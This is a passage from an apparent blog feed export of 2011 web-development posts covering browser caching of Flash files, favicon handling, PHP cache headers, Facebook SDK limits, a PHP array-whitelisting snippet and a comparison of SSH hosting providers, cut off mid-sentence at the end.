&lt;p&gt;&lt;strong&gt;Link reload &amp;amp; navigational reload&lt;/strong&gt;: The jpg is correctly fetched from cache,
but the swf are all downloaded again. No swf is ever cached.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Soft reload &amp;amp; hard reload&lt;/strong&gt;: Much as Chrome, Safari forces the reload of the
jpg here. As you might guess, it also reload all the swf too, multiple times.&lt;/p&gt;
&lt;p&gt;It means that Safari 5 does not cache any swf file at all. That&#39;s pretty
impressive.&lt;/p&gt;
&lt;p&gt;This same caching bug is talked about [on this other
blog](http://don.blogs.smugmug.com/2008/04/04/nasty-bug-safari-doesnt-cache-
stuff/). I&#39;ve also tried including flash files from within another flash file
(much like the &lt;a href=&quot;http://www.alistapart.com/articles/flashsatay&quot;&gt;Satay method&lt;/a&gt;).
The results are the same: no swf flash is ever cached, even in the same html
request.&lt;/p&gt;
&lt;p&gt;It is supposed to have been fixed in Safari Mac (anyone can confirm this? I
don&#39;t own a Mac) but the issue is still here on Safari Windows.&lt;/p&gt;
&lt;h2&gt;IE6, IE7 and IE8&lt;/h2&gt;
&lt;p&gt;IE6, IE7 and IE8 behaves the same here. They have a less severe version of the
bug than Safari 5. At the time of writing I didn&#39;t have IE9 to test on it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Initial load&lt;/strong&gt;: Same bug as Safari here. The swf are downloaded multiple
times, once for each instance. The jpg is only download once.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Link reload, navigational reload and soft reload&lt;/strong&gt;: This time, everything is
fetched from the cache. Actually, even the html is seems fetched from cache (I
didn&#39;t investigate that much)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Hard reload&lt;/strong&gt;: Html and jpg are fetched from the server, swf file stays in the
cache.&lt;/p&gt;
&lt;p&gt;It appears that (surprisingly) IE behaves quite well. Its caching behavior is
more aggressive than the others (soft reload is really soft). However, it still
have a nasty side effect of loading swf files multiple times on the same page.
Shouldn&#39;t happen a lot in the real world, but still nice to know.&lt;/p&gt;
&lt;h2&gt;Firefox 4.0&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Initial load&lt;/strong&gt;: No issue arising. It does fetch each resource once.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Link reload, navigational reload and soft reload&lt;/strong&gt;: Fetches everything from
cache, nice.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Hard reload&lt;/strong&gt;: Re-request jpg and swf files by adding a
&lt;code&gt;Cache-Control: max-age=0&lt;/code&gt; request header. This feels like the expected
behavior.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Take care of that favicon</title>
    <link href="https://blog.pixelastic.com/2011/06/01/care-favicon/"/>
    <updated>2011-06-01T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/06/01/care-favicon</id>
    <content type="html">&lt;p&gt;Even if you are not referencing it in your HTML markup, browsers will try to get
a file named &lt;code&gt;/favicon.ico&lt;/code&gt; on your server root. Let&#39;s see some good practice
regarding this file.&lt;/p&gt;
&lt;h2&gt;Make it small&lt;/h2&gt;
&lt;p&gt;The smaller the file, the faster it will get downloaded. As it is a less than
important file, we don&#39;t want to delay the loading of our page for such a tiny
graphic. The default file format for such a file is &lt;code&gt;image/x-icon&lt;/code&gt;, meaning the
.ico extension.&lt;/p&gt;
&lt;p&gt;I think it&#39;s a Microsoft legacy format, but well understood by every browser. Be
careful when putting your favicon, don&#39;t just find a cool &lt;code&gt;.ico&lt;/code&gt; file and drop
it here. Icon files are containers, they hold various image format ranging from
16x16 to 512x512.&lt;/p&gt;
&lt;p&gt;You clearly don&#39;t need the bigger one and the 16x16 will be highly enough. So,
be careful.&lt;/p&gt;
&lt;p&gt;The best way of creating the favicon I&#39;ve found is to first create it as a
&lt;code&gt;.gif&lt;/code&gt;, then running ImageMagick upon it. On Linux, this means running&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;convert&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; favicon.gif&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -resize&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 16x16!&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; favicon.ico&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Make it cacheable&lt;/h2&gt;
&lt;p&gt;This file will be requested by the browser on every request, so you&#39;d better
make it cacheable to limit the number of requests.&lt;/p&gt;
&lt;p&gt;Also, note that you can&#39;t change the name of the file, &lt;code&gt;favicon.ico&lt;/code&gt; will always
be fetched.&lt;/p&gt;
&lt;p&gt;I choose to cache mine for a year, like any other static asset. I could have
gone for a month, to allow updating them more often but I&#39;ve never ever changed
a favicon, so a year seems better.&lt;/p&gt;
&lt;h2&gt;A note on Safari Win&lt;/h2&gt;
&lt;p&gt;From the tests I&#39;ve done, almost all browsers behave the same regarding favicon
fetching and caching: the fetch it last, and do not issue a Cache-
Control:max-age=0 on a refresh to force redownloading it.&lt;/p&gt;
&lt;p&gt;Except Safari Win. It fetch it along other downloads and re-dewnload it on a
page refresh.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>PHP sessions and the Pragma:no-cache header</title>
    <link href="https://blog.pixelastic.com/2011/05/30/php-sessions-pragma-cache-header/"/>
    <updated>2011-05-30T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/05/30/php-sessions-pragma-cache-header</id>
    <content type="html">&lt;p&gt;You may have seen the &lt;code&gt;Pragma:no-cache&lt;/code&gt; response header on various website (if
you&#39;re that kind of guy actually reading HTTP response headers...).&lt;/p&gt;
&lt;p&gt;What you may not know is that this Header doesn&#39;t actually exists. The Pragma
header
&lt;a href=&quot;http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.32&quot;&gt;is supposed to be&lt;/a&gt;
&lt;strong&gt;Request&lt;/strong&gt; header, not a &lt;strong&gt;Response&lt;/strong&gt; header.&lt;/p&gt;
&lt;p&gt;It is not only useless, it may also trigger strange caching bugs in IE6. I&#39;m
sure you know what kind of IE6 quirks I&#39;m talking about. The best is to remove
it, just to be sure.&lt;/p&gt;
&lt;p&gt;This is a common misconception (I myself didn&#39;t know that before reading
&lt;a href=&quot;http://www.mnot.net/cache_docs/&quot;&gt;this excellent caching tutorial&lt;/a&gt;), and that
header is still returned in a lot of request.&lt;/p&gt;
&lt;p&gt;For example, if you set your &lt;code&gt;session.cache_limiter&lt;/code&gt; to &lt;code&gt;nocache&lt;/code&gt; in your
&lt;code&gt;php.ini&lt;/code&gt;, then PHP will send this header (as defined in the
[session_cache_limiter](http://ca.php.net/manual/en/function.session-cache-
limiter.php) doc. This is obviously wrong.&lt;/p&gt;
&lt;p&gt;It also adds a weird &lt;code&gt;Expires: Thu, 19 Nov 1981 08:52:00 GMT&lt;/code&gt; header. I don&#39;t
like it as it allow easy fingerprinting of the server-side technology used.&lt;/p&gt;
&lt;p&gt;I changed my &lt;code&gt;session.cache_delimiter&lt;/code&gt; value to &lt;code&gt;private_no_expire&lt;/code&gt; to return
better headers.&lt;/p&gt;
&lt;p&gt;First, it removed the useless &lt;code&gt;Pragma&lt;/code&gt;, but it also removes the &lt;code&gt;Expires&lt;/code&gt; header
(&lt;code&gt;Cache-Control&lt;/code&gt; is enough).&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Working on Wednesday #1</title>
    <link href="https://blog.pixelastic.com/2011/05/25/working-wednesday-1/"/>
    <updated>2011-05-25T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/05/25/working-wednesday-1</id>
    <content type="html">&lt;p&gt;Starting June 15th, I&#39;ll stop working at my day job for one day a week. Instead,
I&#39;ll use this time to work on personal projects.&lt;/p&gt;
&lt;p&gt;After more than 3 years of freelancing, I&#39;ve been working full time for a very
nice young company (making a great social game) for the past 6 months. Today,
with the public release of the game, I find myself missing freelance.&lt;/p&gt;
&lt;p&gt;I liked being able to sleep when too tired, working late at night when really
productive, reading a log of blog posts on various subjects, learning new cool
stuff other did. I kinda miss that on my new job.&lt;/p&gt;
&lt;p&gt;Sure our project is damn cool and I really like working on it. I learn a lot, in
fields that I was interested in but never had the chance to explore (server
administration, CDN configuration, memcache, large number of users, etc).&lt;/p&gt;
&lt;p&gt;But on the other hand, I&#39;m almost only doing server-side work. I relatively
interesting part of Javascript (nothing fancy) and a really small part of CSS.&lt;/p&gt;
&lt;p&gt;And I miss all that front-end part of the job. I also get kind of tired of using
cakePHP. I do like it a lot, but the more I write PHP and read posts about Ruby,
the more I want to switch.&lt;/p&gt;
&lt;h2&gt;Working 4 days a week&lt;/h2&gt;
&lt;p&gt;I finally made a deal with my boss, for not working on Wednesday. I want to use
that time to relax and learn all those things.&lt;/p&gt;
&lt;p&gt;The last time I was working full time for a company, I finally quit because I
thought I was waaaaaaay late behind all the current tech trends. It took me a
couple of month to learn the cool stuff I&#39;m armed with today: jQuery and
cakePHP.&lt;/p&gt;
&lt;p&gt;This time, I want to re-learn a whole new world, a better one. Using all I
learnt those past years to make a fresh start.&lt;/p&gt;
&lt;h2&gt;What I want to learn&lt;/h2&gt;
&lt;p&gt;There&#39;s a lot of things I would love to learn, unordered:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;vim&lt;/code&gt; : I want to be able to write code on any machine, easily, and fast&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ruby&lt;/code&gt; / &lt;code&gt;rails&lt;/code&gt; : I want to learn Ruby to be able to fully understand Rails.
I have a pretty strong knowledge of cakePHP so I guess Rails won&#39;t be too hard
for me.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git&lt;/code&gt; : I like Mercurial, but &lt;code&gt;git&lt;/code&gt; seems to be the de-facto VCS for all the
social geeks and rails coder, so why not?&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sass&lt;/code&gt; and &lt;code&gt;haml&lt;/code&gt; : Those seems awesome, and were part of the things that make
me want to try ruby. Writing CSS and HTML in a non-painful way. I already want
to write modules (or are they called gems?) to enhance them, adding webperf
optimisations on the fly (creating sprites/dataURI, optimizing selectors,
etc).&lt;/li&gt;
&lt;li&gt;CoffeeScript, Kafeeine or equivalent: Following the logic behind sass, I want
to be able to write Javascript easily. I always encounter issues when my
jQuery code became too big, everything gets tangled together. Backbone.js
seems interesting too. I&#39;ll have to test all those solution.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;nodejs&lt;/code&gt; : Because it looks kinda fun. I haven&#39;t really understand how it
works yet, but it looks fun anyway :)&lt;/li&gt;
&lt;li&gt;TDD: This is not a technology, but a way of writing code that I want to learn.
I tried it in cakePHP, but I spent so much time writing tests (and making them
work), to finally change the implementation and broke the tests that I finally
gave up. I still have to understand HOW to do it properly. I thought I read
somewhere that this principle was directly intergrated into Ruby (or was it
Rails ?) development.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To summarize, I want to learn the good tools that will let me focus on the
project(s) I want to make, not fighting to use tools to bend them to my needs.
Writing &amp;quot;uncompiled&amp;quot; css, html or Javascript and having some automation tool to
automatically transform it in the most usable version to use only.&lt;/p&gt;
&lt;p&gt;Also, I have already written a pretty decent cakePHP CMS, with a full featured
admin panel that I used when making website for clients. I wanted to put it open
source for all to enjoy but never really knew how to do it. I don&#39;t yet know if
I want to create a whole new CMS in Rails, or if I&#39;ll do custom dev for each
project, or use (and enhancing) existing CMS.&lt;/p&gt;
&lt;h2&gt;That&#39;s all for now&lt;/h2&gt;
&lt;p&gt;I might have forgotten stuff (I&#39;d want to try couchDB/mongoDB, getting better at
using Linux everyday), but here is a dump of all the things I want to achieve in
the next 6 month, one day per week. I&#39;ll try to post a summary of what I learned
each Wednesday, hoping that it would help others (I know I&#39;ll surely enjoy
looking back at it later).&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Missing bits of the official Facebook documentation</title>
    <link href="https://blog.pixelastic.com/2011/05/24/missing-bits-official-facebook-documentation/"/>
    <updated>2011-05-24T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/05/24/missing-bits-official-facebook-documentation</id>
    <content type="html">&lt;p&gt;As a complement to my post about FB.ui undocumented hard limit, here are some
other parts that should be in the documentation.&lt;/p&gt;
&lt;h2&gt;Custom html tag&lt;/h2&gt;
&lt;p&gt;You have to add
&lt;code&gt;xmlns:fb=&amp;quot;http://www.facebook.com/2008/fbml&amp;quot; xmlns:og=&amp;quot;http://opengraphprotocol.org/schema/&amp;quot;&lt;/code&gt;
to your main &lt;code&gt;&amp;lt;html&amp;gt;&lt;/code&gt; element.&lt;/p&gt;
&lt;p&gt;If you don&#39;t, the &lt;code&gt;&amp;lt;fb:like&amp;gt;&lt;/code&gt; (and possibly other &lt;code&gt;&amp;lt;fb:*&amp;gt;&lt;/code&gt; elements) won&#39;t work
in IE. I guess those unorthodox tags won&#39;t be interpreted by IE until you define
the correct xmlns.&lt;/p&gt;
&lt;h2&gt;Adding a #fb-root&lt;/h2&gt;
&lt;p&gt;You also have to add a &lt;code&gt;&amp;lt;div id=&amp;quot;fb-root&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;/code&gt; in your html code. I guess the
Javascript API use it for some stuff, but I don&#39;t really know why.&lt;/p&gt;
&lt;p&gt;The Javascript SDK logs an error message asking for this missing element if you
don&#39;t have it.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Whitelisting keys of an array</title>
    <link href="https://blog.pixelastic.com/2011/05/11/whitelisting-keys-array/"/>
    <updated>2011-05-11T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/05/11/whitelisting-keys-array</id>
    <content type="html">&lt;p&gt;I needed to validate an array create from POSTed data. I wanted to discard all
keys from this array that I didn&#39;t want.&lt;/p&gt;
&lt;p&gt;Actually, I wanted to whitelist the array, and only keep keys that were on my
whitelist.&lt;/p&gt;
&lt;p&gt;Here is the litte snippet that does it:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;php&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;/**&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;*    Keep only specified keys of the specified array. This is useful to whitelist an array of parameters.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;*    &#92;param    $array        Original array&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;*    &#92;param    $whitelist        Array of keys to keep.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;**/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; array_whitelist&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$array&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$whitelist&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; array&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; array_intersect_key&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$array&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;array_flip&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$whitelist&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
</content>
  </entry>
  <entry>
    <title>Hard limits using FB.ui to post Requests</title>
    <link href="https://blog.pixelastic.com/2011/05/10/hard-limits-fb-ui-post-requests/"/>
    <updated>2011-05-10T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/05/10/hard-limits-fb-ui-post-requests</id>
    <content type="html">&lt;p&gt;I hate Facebook documentation. All pages seems out of date, displaying wrong
function signature, obsolete parameters, documentation link pointing to 404
pages, etc, etc.&lt;/p&gt;
&lt;p&gt;I&#39;ve lost some hours debugging those calls, finding whatever hard limit Facebook
forced on some of the arguments.&lt;/p&gt;
&lt;p&gt;Let us write a very basic example code:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;FB&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;ui&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;  &#39;method&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; : &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;apprequests&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;  &#39;display&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;iframe&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;  &#39;message&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; : &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;Hey, this Request is awesome, just accept it, ok ?&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;  &#39;title&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; : &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;Awesome request incoming&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;  &#39;filters&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; : &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    { &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; : &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;Some friends&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;user_ids&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; : &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;97841578&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;548673131&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;[...]&quot;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;},&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    { &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; : &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;Some other friends&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;user_ids&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; : &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;97841578&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;56867134&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;[...]&quot;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;},&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;  ]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This should open a Request popup with the custom title and message, as well as
provide a list of friends that you can filter based on two criterias: &amp;quot;Some
friends&amp;quot; and &amp;quot;Some other friends&amp;quot;.&lt;/p&gt;
&lt;h2&gt;What will go wrong&lt;/h2&gt;
&lt;p&gt;First, you have to know that both the message and title have a character limit.
If you go over it, the popup will simply display something like &amp;quot;An error
occurred, blah blah blah&amp;quot;.&lt;/p&gt;
&lt;p&gt;After some fiddling, I discovered that the limit is 50 chars for the title and
255 for the message.&lt;/p&gt;
&lt;p&gt;&lt;del&gt;Also, there is no limit (as far as I know) to the limit of custom filters
you can set.&lt;/del&gt; See update below. But there is one to the max number of users
you can define in a filter. And that number is 1000.&lt;/p&gt;
&lt;p&gt;This means that if my &lt;code&gt;user_ids&lt;/code&gt; list for any of my custom filters contains more
than 1000 users, the popup will fail. However, you can have as many filters with
999 users as you want.&lt;/p&gt;
&lt;p&gt;Took me a little while to find, and I thought that this could be shared.&lt;/p&gt;
&lt;h2&gt;Update&lt;/h2&gt;
&lt;p&gt;I found a new hard limit: You can&#39;t set more than 5 filters at a time. If you
add one more, the Request popup will fail.&lt;/p&gt;
&lt;h2&gt;New Update&lt;/h2&gt;
&lt;p&gt;Also, if you define a callback, don&#39;t forget to &lt;code&gt;return true&lt;/code&gt;. Otherwise Webkit
will refuse to close the FB popup and you&#39;ll have to click twice for it to
really close itself.&lt;/p&gt;
&lt;h2&gt;Update (bis repetita)&lt;/h2&gt;
&lt;p&gt;This one was pretty hard to find but if your filter contains a facebook id of
someone that is not a friend of the currently loggued user, the filter will
display nothing.&lt;/p&gt;
&lt;p&gt;In our app, we have a filter of &amp;quot;Neighbors&amp;quot; (as most social games do). But one
of thoses neighbors removed the user from its friends, and we didn&#39;t update the
neighbor list to reflect that, resulting in our &amp;quot;Neighbors&amp;quot; filter being empty.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Finding the perfect SSH host</title>
    <link href="https://blog.pixelastic.com/2011/05/10/finding-perfect-ssh-host/"/>
    <updated>2011-05-10T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/05/10/finding-perfect-ssh-host</id>
    <content type="html">&lt;p&gt;I&#39;m trying to find a company providing hosting capabilities. I have a strong set
of pre-requisites.&lt;/p&gt;
&lt;h2&gt;Connected through SSH&lt;/h2&gt;
&lt;p&gt;I want the server to be accessible through SSH. I don&#39;t need http nor ftp acces
on it.&lt;/p&gt;
&lt;p&gt;I&#39;ll host git, mercurial and subversion repositories on it, and will push(/pull)
from(/to) them using ssh.&lt;/p&gt;
&lt;p&gt;So, I will need those softs installed, or at least enough power to install them
(even locally).&lt;/p&gt;
&lt;h2&gt;Serving as an SSL tunnel&lt;/h2&gt;
&lt;p&gt;I also want to be able to create an SSH tunnel through this server. That way I
could be securely connected from any wifi connection using SSL.&lt;/p&gt;
&lt;p&gt;The server should have a pretty reasonable bandwidth. I&#39;d also wish to avoid
having it hosted in France. Peering agreement between providers in France are
getting uglier and uglier.&lt;/p&gt;
&lt;h2&gt;Secondary accounts for holding websites&lt;/h2&gt;
&lt;p&gt;If the same company also provides more conventional hosting, that also could be
an important part of my choice.&lt;/p&gt;
&lt;p&gt;What I would like is something as flexible as allowing some websites to use
Apache, and others Lighttpd. Even being able to configure it per subdomain.&lt;/p&gt;
&lt;p&gt;Some sites would be running PHP, others Rails, even node.js. I want enough
freedom to configure it and the associated inner config (lighttpd.conf,
php.ini).&lt;/p&gt;
&lt;p&gt;I also want to be able to install secondary parts like mongoDB or memcache and
having a full access to their configuration.&lt;/p&gt;
&lt;h2&gt;Pricing&lt;/h2&gt;
&lt;p&gt;Of course, the cheaper the better, but I know that such an amount of freedom and
features comes with its own price.&lt;/p&gt;
&lt;p&gt;Now, let&#39;s review some of the contestants I&#39;ve picked&lt;/p&gt;
&lt;h2&gt;Alwaysdata&lt;/h2&gt;
&lt;p&gt;They were the first I &lt;a href=&quot;http://www.alwaysdata.com/&quot;&gt;checked&lt;/a&gt;. I heard quite a
good thing about their service and reliability. They really seem to know what
they&#39;re doing.&lt;/p&gt;
&lt;p&gt;I&#39;ve tried their free 10Mo plan and am quite satisfied with it. Mercurial, git,
subversion and quite a batch of others softs are already installed. They also
have a pretty 10Mo/s awesome bandwith.&lt;/p&gt;
&lt;p&gt;I haven&#39;t tried their hosting plans, but they also seems nice. All default
(shared) hosting provides php, perl, ruby and python.&lt;/p&gt;
&lt;p&gt;Their custom (managed dedicated server) provides almost anything you could want
from lightty to memcache, but the price goes high with it to. 350€/month that is
way too much I can afford for what I have in mind.&lt;/p&gt;
&lt;p&gt;On the other hand, they not only provide hosting but the whole support package
along with hotline and custom installation.&lt;/p&gt;
&lt;h2&gt;Dreamhost&lt;/h2&gt;
&lt;p&gt;I&#39;m fond of Dreamhost. I&#39;ve used them for years. They do provide a very nice
shared hosting, with a lot of options to configure. They even allow cronjob for
their admin panel.&lt;/p&gt;
&lt;p&gt;And they are cheap, with a customer support very professional, I highly
recommend them for your simple hosting needs.&lt;/p&gt;
&lt;p&gt;I haven&#39;t tested their dedicated server version, so can&#39;t really talk about it.&lt;/p&gt;
&lt;p&gt;However, the SSH capabilities of the shared hosting are quite small. They have
git, svn and mercurial installed, but the version are quite outdated. Even the
python version running mercurial was out of date.&lt;/p&gt;
&lt;p&gt;You can however download and install them yourself on your account (which I
did), but it is not as full featured as alwaysdata.&lt;/p&gt;
&lt;p&gt;Their bandwith is also capped to 1Mo/s.&lt;/p&gt;
&lt;h2&gt;OVH&lt;/h2&gt;
&lt;p&gt;Haven&#39;t tested yet, but their &lt;a href=&quot;https://www.ovh.com/fr/vps/&quot;&gt;VPS offer&lt;/a&gt; seems
nice for as low as 60€/year.&lt;/p&gt;
&lt;p&gt;I have tried the shared hosting offer of OVH before and am mitigated. On one
